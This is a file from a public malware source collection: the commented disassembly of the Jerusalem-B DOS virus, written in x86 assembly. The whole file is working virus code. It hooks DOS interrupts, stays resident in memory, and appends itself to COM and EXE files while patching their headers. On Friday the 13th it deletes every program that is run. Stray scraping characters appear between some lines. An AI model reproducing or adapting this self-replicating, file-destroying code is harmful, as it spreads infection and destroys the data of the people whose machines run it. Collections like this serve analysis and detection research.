mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
721 lines
31 KiB
NASM
721 lines
31 KiB
NASM
PAGE 59,132
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;*****************************************************************************
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; Jerusalem Virus - Strain B
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;
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; Disassembled and commented by:
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;
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; - Captain Morgan -
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;*****************************************************************************
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.286c
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data_1e equ 2Ch
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data_2e equ 43h
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data_3e equ 45h
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data_4e equ 47h
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data_5e equ 49h
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data_6e equ 51h
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data_7e equ 53h
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data_8e equ 57h
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data_9e equ 5Dh
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data_10e equ 5Fh
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data_11e equ 61h
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data_12e equ 63h
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data_13e equ 65h
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data_14e equ 78h
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data_15e equ 7Ah
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data_16e equ 7Ch
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data_17e equ 7Eh
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data_18e equ 0Ah
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data_19e equ 0Ch
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data_20e equ 0Eh
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data_21e equ 0Fh
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data_22e equ 11h
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data_23e equ 13h
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data_24e equ 15h
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data_25e equ 17h
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data_26e equ 19h
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data_27e equ 1Bh
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data_28e equ 1Dh
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data_29e equ 1Fh
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data_30e equ 29h
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data_31e equ 2Bh
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data_32e equ 2Dh
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data_33e equ 2Fh
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data_34e equ 31h
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data_35e equ 33h
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data_36e equ 4Eh
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data_37e equ 70h
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data_38e equ 72h
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data_39e equ 74h
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data_40e equ 76h
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data_41e equ 7Ah
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data_42e equ 80h
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data_43e equ 82h
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data_44e equ 8Fh
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seg_a segment
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assume cs:seg_a, ds:seg_a
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org 100h
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je proc far
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start:
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jmp loc_2 ; (0195)
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db 73h, 55h, 4Dh, 73h, 44h, 6Fh
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db 73h, 0, 1, 0EBh, 21h, 0
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db 0, 0, 0ABh, 0Bh, 2Ch, 2
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db 70h, 0, 92h, 0Eh, 29h, 1Ah
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db 0EBh, 4, 59h, 6Fh, 0A8h
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db 7Bh
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db 13 dup (0)
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db 0E8h, 6, 0D7h, 62h, 21h, 80h
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db 0, 0, 0, 80h, 0, 62h
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db 21h, 5Ch, 0, 62h, 21h, 6Ch
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db 0, 62h, 21h, 10h, 7, 60h
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db 5Bh, 0C5h, 0, 60h, 5Bh, 0
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db 0F0h, 6, 0, 4Dh, 5Ah, 30h
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db 0, 53h, 0, 1Fh, 0, 20h
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db 0, 0, 0, 0FFh, 0FFh, 0B2h
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db 9, 10h, 7, 84h, 19h, 0C5h
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db 0, 0B2h, 9, 20h, 0, 0
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db 0, 2Eh, 0Dh, 0Ah, 0, 0
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db 5, 0, 20h, 0, 26h, 12h
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db 46h, 0A3h, 0, 2, 10h, 0
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db 20h, 9Dh, 0, 0, 7Bh, 3Dh
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db 2Eh, 9Bh
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db 'COMMAND.COM'
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db 1, 0, 0, 0, 0, 0
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loc_2:
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cld ; Clear direction
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mov ah,0E0h
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int 21h ; DOS Services ah=function E0h
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cmp ah,0E0h
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jae loc_3 ; Jump if above or =
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cmp ah,3
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jb loc_3 ; Jump if below
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mov ah,0DDh
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mov di,100h
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mov si,710h
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add si,di
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mov cx,cs:[di+11h]
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nop ;*Fixup for MASM (M)
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int 21h ; DOS Services ah=function DDh
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loc_3:
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mov ax,cs
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add ax,10h
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mov ss,ax
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mov sp,700h
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loc_4:
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push ax
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mov ax,0C5h
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push ax
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retf ; Return far
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db 0FCh, 6, 2Eh, 8Ch, 6, 31h
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db 0, 2Eh, 8Ch, 6, 39h, 0
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db 2Eh, 8Ch, 6, 3Dh, 0, 2Eh
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db 8Ch, 6, 41h, 0, 8Ch, 0C0h
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db 5, 10h, 0, 2Eh, 1, 6
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db 49h, 0, 2Eh, 1, 6, 45h
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db 0, 0B4h, 0E0h, 0CDh, 21h, 80h
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db 0FCh, 0E0h, 73h, 13h, 80h, 0FCh
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db 3, 7, 2Eh, 8Eh, 16h, 45h
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db 0, 2Eh, 8Bh, 26h, 43h, 0
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db 2Eh, 0FFh, 2Eh, 47h, 0, 33h
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db 0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
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db 3, 2Eh, 0A3h, 4Bh, 0, 26h
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db 0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
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db 0
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db 26h
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je endp
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; External Entry Point
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;
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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int_24h_entry proc far
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mov word ptr ds:[3FCh],0A5F3h
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mov byte ptr es:data_47,0CBh
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pop ax
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add ax,10h
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mov es,ax
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push cs
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pop ds
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mov cx,710h
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shr cx,1 ; Shift w/zeros fill
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xor si,si ; Zero register
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mov di,si
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push es
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mov ax,142h
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push ax
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;* jmp far ptr loc_1 ;*(0000:03FC)
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db 0EAh, 0FCh, 3, 0, 0
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db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
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db 7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
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db 0A1h, 4Bh, 0, 0A3h, 0FCh, 3
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db 2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
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db 3
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int_24h_entry endp
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; External Entry Point
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;
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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int_21h_entry proc far
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mov bx,sp
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mov cl,4
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shr bx,cl ; Shift w/zeros fill
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add bx,10h
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mov cs:data_35e,bx
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mov ah,4Ah ; 'J'
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mov es,cs:data_34e
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int 21h ; DOS Services ah=function 4Ah
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; change mem allocation, bx=siz
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mov ax,3521h
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int 21h ; DOS Services ah=function 35h
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; get intrpt vector al in es:bx
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mov cs:data_25e,bx
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mov cs:data_26e,es
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push cs
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pop ds
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mov dx,25Bh
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mov ax,2521h
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int 21h ; DOS Services ah=function 25h
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; set intrpt vector al to ds:dx
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mov es,ds:data_34e
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mov es,es:data_1e
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xor di,di ; Zero register
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mov cx,7FFFh
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xor al,al ; Zero register
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locloop_5:
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repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
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cmp es:[di],al
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loopnz locloop_5 ; Loop if zf=0, cx>0
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mov dx,di
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add dx,3
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mov ax,4B00h
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push es
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pop ds
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push cs
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pop es
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mov bx,35h
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push ds
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push es
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push ax
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push bx
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push cx
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push dx
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mov ah,2Ah ; '*'
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int 21h ; DOS Services ah=function 2Ah
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; get date, cx=year, dx=mon/day
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mov byte ptr cs:data_20e,0
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cmp cx,7C3h
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je loc_7 ; Jump if equal
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cmp al,5 ; Check to see if it's Friday
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jne loc_6 ; Jump if not equal
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cmp dl,0Dh ; Check to see if it's the 13th
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jne loc_6 ; Jump if not equal
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inc byte ptr cs:data_20e
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jmp short loc_7 ; (02F7)
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db 90h
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loc_6:
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mov ax,3508h
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int 21h ; DOS Services ah=function 35h
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; get intrpt vector al in es:bx
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mov cs:data_23e,bx
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mov cs:data_24e,es
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push cs
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pop ds
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mov word ptr ds:data_29e,7E90h
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mov ax,2508h
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mov dx,21Eh
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int 21h ; DOS Services ah=function 25h
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; set intrpt vector al to ds:dx
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loc_7:
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pop dx
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pop cx
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pop bx
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pop ax
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pop es
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pop ds
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pushf ; Push flags
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call dword ptr cs:data_25e
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push ds
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pop es
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mov ah,49h ; 'I'
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int 21h ; DOS Services ah=function 49h
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; release memory block, es=seg
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mov ah,4Dh ; 'M'
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int 21h ; DOS Services ah=function 4Dh
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; get return code info in ax
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mov ah,31h ; '1'
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mov dx,600h
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mov cl,4
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shr dx,cl ; Shift w/zeros fill
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add dx,10h
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int 21h ; DOS Services ah=function 31h
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; terminate & stay resident
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db 32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
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db 1Fh, 0, 2, 75h, 17h, 50h
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db 53h, 51h, 52h, 55h, 0B8h, 2
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db 6, 0B7h, 87h, 0B9h, 5, 5
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db 0BAh, 10h, 10h, 0CDh, 10h, 5Dh
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db 5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
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db 0Eh, 1Fh, 0, 75h, 12h, 2Eh
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db 0C7h, 6, 1Fh, 0, 1, 0
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db 50h, 51h, 56h, 0B9h, 1, 40h
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db 0F3h, 0ACh
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db 5Eh, 59h, 58h
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loc_8:
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jmp dword ptr cs:data_23e
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db 9Ch, 80h, 0FCh, 0E0h, 75h, 5
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db 0B8h, 0, 3, 9Dh, 0CFh, 80h
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db 0FCh, 0DDh, 74h, 13h, 80h, 0FCh
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db 0DEh, 74h, 28h, 3Dh, 0, 4Bh
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db 75h, 3, 0E9h, 0B4h, 0
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loc_9:
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popf ; Pop flags
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jmp dword ptr cs:data_25e
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loc_10:
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pop ax
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pop ax
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mov ax,100h
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mov cs:data_18e,ax
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pop ax
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mov cs:data_19e,ax
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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popf ; Pop flags
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mov ax,cs:data_21e
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jmp dword ptr cs:data_18e
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loc_11:
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add sp,6
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popf ; Pop flags
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mov ax,cs
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mov ss,ax
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mov sp,710h
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push es
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push es
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xor di,di ; Zero register
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push cs
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pop es
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mov cx,10h
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mov si,bx
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mov di,21h
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov ax,ds
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mov es,ax
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mul word ptr cs:data_41e ; ax = data * ax
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add ax,cs:data_31e
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adc dx,0
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div word ptr cs:data_41e ; ax,dxrem=dx:ax/data
|
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mov ds,ax
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mov si,dx
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mov di,dx
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mov bp,es
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mov bx,cs:data_33e
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or bx,bx ; Zero ?
|
||
jz loc_13 ; Jump if zero
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||
loc_12:
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mov cx,8000h
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rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
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add ax,1000h
|
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add bp,1000h
|
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mov ds,ax
|
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mov es,bp
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dec bx
|
||
jnz loc_12 ; Jump if not zero
|
||
loc_13:
|
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mov cx,cs:data_32e
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
pop ax
|
||
push ax
|
||
add ax,10h
|
||
add cs:data_30e,ax
|
||
data_47 db 2Eh
|
||
db 1, 6, 25h, 0, 2Eh, 0A1h
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||
db 21h, 0, 1Fh, 7, 2Eh, 8Eh
|
||
db 16h, 29h, 0, 2Eh, 8Bh, 26h
|
||
db 27h, 0, 2Eh, 0FFh, 2Eh, 23h
|
||
db 0
|
||
loc_14:
|
||
xor cx,cx ; Zero register
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
mov ah,41h ; 'A'
|
||
int 21h ; DOS Services ah=function 41h
|
||
; delete file, name @ ds:dx
|
||
mov ax,4B00h
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_25e
|
||
loc_15:
|
||
cmp byte ptr cs:data_20e,1
|
||
je loc_14 ; Jump if equal
|
||
mov word ptr cs:data_37e,0FFFFh
|
||
mov word ptr cs:data_44e,0
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||
mov cs:data_42e,dx
|
||
mov cs:data_43e,ds
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
cld ; Clear direction
|
||
mov di,dx
|
||
xor dl,dl ; Zero register
|
||
cmp byte ptr [di+1],3Ah ; ':'
|
||
jne loc_16 ; Jump if not equal
|
||
mov dl,[di]
|
||
and dl,1Fh
|
||
loc_16:
|
||
mov ah,36h ; '6'
|
||
int 21h ; DOS Services ah=function 36h
|
||
; get free space, drive dl,1=a:
|
||
cmp ax,0FFFFh
|
||
jne loc_18 ; Jump if not equal
|
||
loc_17:
|
||
jmp loc_44 ; (06E7)
|
||
loc_18:
|
||
mul bx ; dx:ax = reg * ax
|
||
mul cx ; dx:ax = reg * ax
|
||
or dx,dx ; Zero ?
|
||
jnz loc_19 ; Jump if not zero
|
||
cmp ax,710h
|
||
jb loc_17 ; Jump if below
|
||
loc_19:
|
||
mov dx,cs:data_42e
|
||
push ds
|
||
pop es
|
||
xor al,al ; Zero register
|
||
mov cx,41h
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
mov si,cs:data_42e
|
||
loc_20:
|
||
mov al,[si]
|
||
or al,al ; Zero ?
|
||
jz loc_22 ; Jump if zero
|
||
cmp al,61h ; 'a'
|
||
jb loc_21 ; Jump if below
|
||
cmp al,7Ah ; 'z'
|
||
ja loc_21 ; Jump if above
|
||
sub byte ptr [si],20h ; ' '
|
||
loc_21:
|
||
inc si
|
||
jmp short loc_20 ; (0490)
|
||
loc_22:
|
||
mov cx,0Bh
|
||
sub si,cx
|
||
mov di,84h
|
||
push cs
|
||
pop es
|
||
mov cx,0Bh
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_23 ; Jump if not zero
|
||
jmp loc_44 ; (06E7)
|
||
loc_23:
|
||
mov ax,4300h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
jc loc_24 ; Jump if carry Set
|
||
mov cs:data_38e,cx
|
||
loc_24:
|
||
jc loc_26 ; Jump if carry Set
|
||
xor al,al ; Zero register
|
||
mov cs:data_36e,al
|
||
push ds
|
||
pop es
|
||
mov di,dx
|
||
mov cx,41h
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
cmp byte ptr [di-2],4Dh ; 'M'
|
||
je loc_25 ; Jump if equal
|
||
cmp byte ptr [di-2],6Dh ; 'm'
|
||
je loc_25 ; Jump if equal
|
||
inc byte ptr cs:data_36e
|
||
loc_25:
|
||
mov ax,3D00h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
loc_26:
|
||
jc loc_28 ; Jump if carry Set
|
||
mov cs:data_37e,ax
|
||
mov bx,ax
|
||
mov ax,4202h
|
||
mov cx,0FFFFh
|
||
mov dx,0FFFBh
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
jc loc_26 ; Jump if carry Set
|
||
add ax,5
|
||
mov cs:data_22e,ax
|
||
mov cx,5
|
||
mov dx,6Bh
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
mov di,dx
|
||
mov si,5
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_27 ; Jump if not zero
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
jmp loc_44 ; (06E7)
|
||
loc_27:
|
||
mov ax,3524h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov ds:data_27e,bx
|
||
mov ds:data_28e,es
|
||
mov dx,21Bh
|
||
mov ax,2524h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
lds dx,dword ptr ds:data_42e ; Load 32 bit ptr
|
||
xor cx,cx ; Zero register
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
loc_28:
|
||
jc loc_29 ; Jump if carry Set
|
||
mov bx,cs:data_37e
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
mov word ptr cs:data_37e,0FFFFh
|
||
mov ax,3D02h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
jc loc_29 ; Jump if carry Set
|
||
mov cs:data_37e,ax
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov bx,ds:data_37e
|
||
mov ax,5700h
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ds:data_39e,dx
|
||
mov ds:data_40e,cx
|
||
mov ax,4200h
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_29:
|
||
jc loc_32 ; Jump if carry Set
|
||
cmp byte ptr ds:data_36e,0
|
||
je loc_30 ; Jump if equal
|
||
jmp short loc_34 ; (05E6)
|
||
db 90h
|
||
loc_30:
|
||
mov bx,1000h
|
||
mov ah,48h ; 'H'
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
jnc loc_31 ; Jump if carry=0
|
||
mov ah,3Eh ; '>'
|
||
mov bx,ds:data_37e
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
jmp loc_44 ; (06E7)
|
||
loc_31:
|
||
inc word ptr ds:data_44e
|
||
mov es,ax
|
||
xor si,si ; Zero register
|
||
mov di,si
|
||
mov cx,710h
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov dx,di
|
||
mov cx,ds:data_22e
|
||
mov bx,ds:data_37e
|
||
push es
|
||
pop ds
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
loc_32:
|
||
jc loc_33 ; Jump if carry Set
|
||
add di,cx
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
mov si,5
|
||
mov cx,5
|
||
rep movs byte ptr es:[di],cs:[si] ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov cx,di
|
||
xor dx,dx ; Zero register
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_33:
|
||
jc loc_35 ; Jump if carry Set
|
||
jmp loc_42 ; (06A2)
|
||
loc_34:
|
||
mov cx,1Ch
|
||
mov dx,4Fh
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
loc_35:
|
||
jc loc_37 ; Jump if carry Set
|
||
mov word ptr ds:data_11e,1984h
|
||
mov ax,ds:data_9e
|
||
mov ds:data_3e,ax
|
||
mov ax,ds:data_10e
|
||
mov ds:data_2e,ax
|
||
mov ax,ds:data_12e
|
||
mov ds:data_4e,ax
|
||
mov ax,ds:data_13e
|
||
mov ds:data_5e,ax
|
||
mov ax,ds:data_7e
|
||
cmp word ptr ds:data_6e,0
|
||
je loc_36 ; Jump if equal
|
||
dec ax
|
||
loc_36:
|
||
mul word ptr ds:data_14e ; ax = data * ax
|
||
add ax,ds:data_6e
|
||
adc dx,0
|
||
add ax,0Fh
|
||
adc dx,0
|
||
and ax,0FFF0h
|
||
mov ds:data_16e,ax
|
||
mov ds:data_17e,dx
|
||
add ax,710h
|
||
adc dx,0
|
||
loc_37:
|
||
jc loc_39 ; Jump if carry Set
|
||
div word ptr ds:data_14e ; ax,dxrem=dx:ax/data
|
||
or dx,dx ; Zero ?
|
||
jz loc_38 ; Jump if zero
|
||
inc ax
|
||
loc_38:
|
||
mov ds:data_7e,ax
|
||
mov ds:data_6e,dx
|
||
mov ax,ds:data_16e
|
||
mov dx,ds:data_17e
|
||
div word ptr ds:data_15e ; ax,dxrem=dx:ax/data
|
||
sub ax,ds:data_8e
|
||
mov ds:data_13e,ax
|
||
mov word ptr ds:data_12e,0C5h
|
||
mov ds:data_9e,ax
|
||
mov word ptr ds:data_10e,710h
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_39:
|
||
jc loc_40 ; Jump if carry Set
|
||
mov cx,1Ch
|
||
mov dx,4Fh
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_40:
|
||
jc loc_41 ; Jump if carry Set
|
||
cmp ax,cx
|
||
jne loc_42 ; Jump if not equal
|
||
mov dx,ds:data_16e
|
||
mov cx,ds:data_17e
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_41:
|
||
jc loc_42 ; Jump if carry Set
|
||
xor dx,dx ; Zero register
|
||
mov cx,710h
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_42:
|
||
cmp word ptr cs:data_44e,0
|
||
je loc_43 ; Jump if equal
|
||
mov ah,49h ; 'I'
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
loc_43:
|
||
cmp word ptr cs:data_37e,0FFFFh
|
||
je loc_44 ; Jump if equal
|
||
mov bx,cs:data_37e
|
||
mov dx,cs:data_39e
|
||
mov cx,cs:data_40e
|
||
mov ax,5701h
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
lds dx,dword ptr cs:data_42e ; Load 32 bit ptr
|
||
mov cx,cs:data_38e
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
lds dx,dword ptr cs:data_27e ; Load 32 bit ptr
|
||
mov ax,2524h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
loc_44:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_25e
|
||
db 11 dup (0)
|
||
db 4Dh, 63h, 21h, 4
|
||
db 13 dup (0)
|
||
db 5Bh, 0, 0, 0, 2Bh, 0
|
||
db 0FFh
|
||
db 17 dup (0FFh)
|
||
db 'E:\SV\EXECDOS.BAT'
|
||
db 0
|
||
db 'EXECDOS', 0Dh
|
||
db 0, 7Dh, 0, 0, 80h, 0
|
||
db 53h, 0Eh, 5Ch, 0, 53h, 0Eh
|
||
db 6Ch, 4Dh, 63h, 21h, 0, 10h
|
||
db 'EC=F:\DOS\C'
|
||
db 0E9h, 92h, 0, 73h, 55h, 4Dh
|
||
db 73h, 44h, 6Fh, 73h, 0, 1
|
||
db 0B8h, 22h, 0, 0, 0, 1Ah
|
||
db 3, 2Ch, 2, 70h, 0
|
||
loc_45:
|
||
xchg ax,dx
|
||
push cs
|
||
sub [bp+si],bx
|
||
;* jmp short loc_46 ;*(0781)
|
||
db 0EBh, 4
|
||
db 63h, 21h, 0D0h, 59h
|
||
int_21h_entry endp
|
||
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|